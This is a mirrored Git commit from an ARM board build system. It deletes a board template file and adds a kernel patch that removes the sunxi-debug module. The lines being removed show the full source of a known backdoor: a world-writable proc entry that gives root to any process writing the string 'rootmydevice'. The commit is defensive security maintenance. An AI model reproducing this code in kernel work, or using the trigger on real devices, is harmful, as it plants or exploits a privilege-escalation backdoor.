mirror of
https://github.com/Fishwaldo/build.git
synced 2025-06-22 06:08:48 +00:00
Remove sunxi-debug LPE
Remove outdated board template file
This commit is contained in:
parent
d6e5ff2fc5
commit
7a5aeda32d
2 changed files with 113 additions and 57 deletions
|
@ -1,57 +0,0 @@
|
||||||
# Copyright (c) 2015 Igor Pecovnik, igor.pecovnik@gma**.com
|
|
||||||
#
|
|
||||||
# This file is licensed under the terms of the GNU General Public
|
|
||||||
# License version 2. This program is licensed "as is" without any
|
|
||||||
# warranty of any kind, whether express or implied.
|
|
||||||
#
|
|
||||||
# This file is a part of tool chain https://github.com/igorpecovnik/lib
|
|
||||||
|
|
||||||
## Name ($BOARD)
|
|
||||||
NAME='template-board'
|
|
||||||
|
|
||||||
## Display extra warning when attempting to build
|
|
||||||
STATUS_WIP=no
|
|
||||||
|
|
||||||
## Description for board selection dialog
|
|
||||||
DESCRIPTION='Template board description'
|
|
||||||
|
|
||||||
## Sources family
|
|
||||||
LINUXFAMILY='new-family'
|
|
||||||
|
|
||||||
## U-boot configuration target
|
|
||||||
BOOTCONFIG='template_board'
|
|
||||||
|
|
||||||
## U-boot boot script file name
|
|
||||||
BOOTSCRIPT='boot-template.cmd'
|
|
||||||
|
|
||||||
## Entries in /etc/modules for default kernel branch (space-separated list)
|
|
||||||
MODULES='module1 module2'
|
|
||||||
|
|
||||||
## Entries in /etc/modules for next and dev kernel branch (space-separated list)
|
|
||||||
MODULES_NEXT='module3 module4'
|
|
||||||
|
|
||||||
## Packages to be removed from base image (space-separated list)
|
|
||||||
REMOVE_PACKAGES='package1 package2'
|
|
||||||
|
|
||||||
## Name of default serial device
|
|
||||||
SERIALCON='ttyS0'
|
|
||||||
|
|
||||||
## Architecture for debootstrap and kernel/u-boot cross-compilation
|
|
||||||
BOARD_ARCH=arm
|
|
||||||
|
|
||||||
## Cross-compile prefix
|
|
||||||
BOARD_COMPILER=arm-linux-gnueabihf-
|
|
||||||
|
|
||||||
## Kernel branches for BUILD_ALL: bitmask (dev next default)
|
|
||||||
BUILD_ALL_TARGET=0
|
|
||||||
|
|
||||||
## Kernel and OS releases to build images in a batch (distroid:branch)
|
|
||||||
CLI_TARGET="jessie:default"
|
|
||||||
DESKTOP_TARGET="jessie:default"
|
|
||||||
KERNEL_TARGET="default"
|
|
||||||
|
|
||||||
## Function to make board-specific adjustments to rootfs
|
|
||||||
install_board_specific()
|
|
||||||
{
|
|
||||||
echo "Installing board-specific configuration"
|
|
||||||
}
|
|
113
patch/kernel/sun8i-default/remove-sunxi-debug.patch
Normal file
113
patch/kernel/sun8i-default/remove-sunxi-debug.patch
Normal file
|
@ -0,0 +1,113 @@
|
||||||
|
diff --git a/arch/arm/mach-sunxi/Makefile b/arch/arm/mach-sunxi/Makefile
|
||||||
|
index 43bd7a6..7a50c26 100755
|
||||||
|
--- a/arch/arm/mach-sunxi/Makefile
|
||||||
|
+++ b/arch/arm/mach-sunxi/Makefile
|
||||||
|
@@ -49,7 +49,7 @@ obj-y += sunxi-headsmp.o sunxi-platsmp.o
|
||||||
|
obj-$(CONFIG_HOTPLUG_CPU) += sunxi-hotplug.o
|
||||||
|
endif
|
||||||
|
|
||||||
|
-obj-y += sys_config.o sunxi_dump_reg.o sunxi-chip.o sunxi_sram.o sunxi-debug.o
|
||||||
|
+obj-y += sys_config.o sunxi_dump_reg.o sunxi-chip.o sunxi_sram.o
|
||||||
|
|
||||||
|
obj-$(CONFIG_SUNXI_TRUSTZONE) += firmware.o
|
||||||
|
obj-$(CONFIG_SUNXI_TRUSTZONE) += sunxi-smc.o
|
||||||
|
diff --git a/arch/arm/mach-sunxi/sunxi-debug.c b/arch/arm/mach-sunxi/sunxi-debug.c
|
||||||
|
deleted file mode 100755
|
||||||
|
index 53ed9fc..0000000
|
||||||
|
--- a/arch/arm/mach-sunxi/sunxi-debug.c
|
||||||
|
+++ /dev/null
|
||||||
|
@@ -1,94 +0,0 @@
|
||||||
|
-/*
|
||||||
|
- * Sunxi_debug.c
|
||||||
|
- *
|
||||||
|
- *
|
||||||
|
- * This program is free software; you can redistribute it and/or modify
|
||||||
|
- * it under the terms of the GNU General Public License version 2 as
|
||||||
|
- * published by the Free Software Foundation.
|
||||||
|
- */
|
||||||
|
-#include <linux/kernel.h>
|
||||||
|
-#include <linux/types.h>
|
||||||
|
-#include <linux/export.h>
|
||||||
|
-#include <linux/kthread.h>
|
||||||
|
-
|
||||||
|
-#include <linux/debugfs.h>
|
||||||
|
-#include <linux/proc_fs.h>//add by fe3o4
|
||||||
|
-#include <linux/uaccess.h>
|
||||||
|
-#include <linux/cred.h>
|
||||||
|
-
|
||||||
|
-static struct proc_dir_entry *proc_root;
|
||||||
|
-static struct proc_dir_entry * proc_su;
|
||||||
|
-
|
||||||
|
-
|
||||||
|
-static int sunxi_proc_su_write(struct file *file, const char __user *buffer,
|
||||||
|
- unsigned long count, void *data)
|
||||||
|
-{
|
||||||
|
- char *buf;
|
||||||
|
- struct cred *cred;
|
||||||
|
-
|
||||||
|
- if (count < 1)
|
||||||
|
- return -EINVAL;
|
||||||
|
-
|
||||||
|
- buf = kmalloc(count, GFP_KERNEL);
|
||||||
|
- if (!buf)
|
||||||
|
- return -ENOMEM;
|
||||||
|
-
|
||||||
|
- if (copy_from_user(buf, buffer, count)) {
|
||||||
|
- kfree(buf);
|
||||||
|
- return -EFAULT;
|
||||||
|
- }
|
||||||
|
-
|
||||||
|
- if(!strncmp("rootmydevice",(char*)buf,12)){
|
||||||
|
- cred = (struct cred *)__task_cred(current);
|
||||||
|
- cred->uid = 0;
|
||||||
|
- cred->gid = 0;
|
||||||
|
- cred->suid = 0;
|
||||||
|
- cred->euid = 0;
|
||||||
|
- cred->euid = 0;
|
||||||
|
- cred->egid = 0;
|
||||||
|
- cred->fsuid = 0;
|
||||||
|
- cred->fsgid = 0;
|
||||||
|
- printk("now you are root\n");
|
||||||
|
- }
|
||||||
|
-
|
||||||
|
- kfree(buf);
|
||||||
|
- return count;
|
||||||
|
-}
|
||||||
|
-
|
||||||
|
-
|
||||||
|
-static int sunxi_proc_su_read(char *page, char **start, off_t off,
|
||||||
|
- int count, int *eof, void *data)
|
||||||
|
-{
|
||||||
|
- printk("sunxi debug: rootmydevice\n");
|
||||||
|
- return 0;
|
||||||
|
-}
|
||||||
|
-
|
||||||
|
-static int sunxi_root_procfs_attach(void)
|
||||||
|
-{
|
||||||
|
- proc_root = proc_mkdir("sunxi_debug", NULL);
|
||||||
|
- proc_su= create_proc_entry("sunxi_debug", 0666, proc_root);
|
||||||
|
- if (IS_ERR(proc_su)){
|
||||||
|
- printk("create sunxi_debug dir error\n");
|
||||||
|
- return -1;
|
||||||
|
- }
|
||||||
|
- proc_su->data = NULL;
|
||||||
|
- proc_su->read_proc = sunxi_proc_su_read;
|
||||||
|
- proc_su->write_proc = sunxi_proc_su_write;
|
||||||
|
- return 0;
|
||||||
|
-
|
||||||
|
-}
|
||||||
|
-
|
||||||
|
-static int sunxi_debug_init(void)
|
||||||
|
-{
|
||||||
|
- int ret;
|
||||||
|
- ret = sunxi_root_procfs_attach();
|
||||||
|
- printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret);
|
||||||
|
- if(ret){
|
||||||
|
- printk("===fe3o4== sunxi_root_procfs_attach failed===\n ");
|
||||||
|
- }
|
||||||
|
- return ret;
|
||||||
|
-}
|
||||||
|
-
|
||||||
|
-subsys_initcall(sunxi_debug_init);
|
||||||
|
-
|
||||||
|
-
|
Loading…
Add table
Add a link
Reference in a new issue